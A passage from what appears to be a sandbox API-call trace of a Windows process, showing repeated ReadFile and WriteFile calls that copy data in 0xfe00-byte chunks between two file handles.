lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.695] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.697] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.698] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.703] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.704] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.705] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.706] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.707] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.708] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.709] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.721] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.727] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.727] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.729] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.729] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.731] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.731] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.733] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.735] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.737] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.737] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.739] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.739] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.741] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.741] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.743] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.744] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.746] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.747] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.748] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.749] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.750] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.751] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.752] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.754] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.756] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.757] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.758] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.759] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.760] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.761] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.762] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.774] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.780] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.781] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.782] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.783] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.784] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.785] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.787] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.789] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.792] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.792] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.794] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.795] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.796] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.797] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.798] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.799] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.801] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.802] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.803] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.804] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.805] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.806] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.808] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.809] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.812] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.813] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.814] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.815] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.816] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.817] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.818] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.831] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.836] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.837] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.838] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.839] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.841] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.841] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.843] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.844] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.846] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.847] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.848] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.849] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.850] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.851] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.852] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.853] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.856] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.856] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.858] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.859] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.860] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.861] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.862] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.864] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.866] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.867] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.888] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, 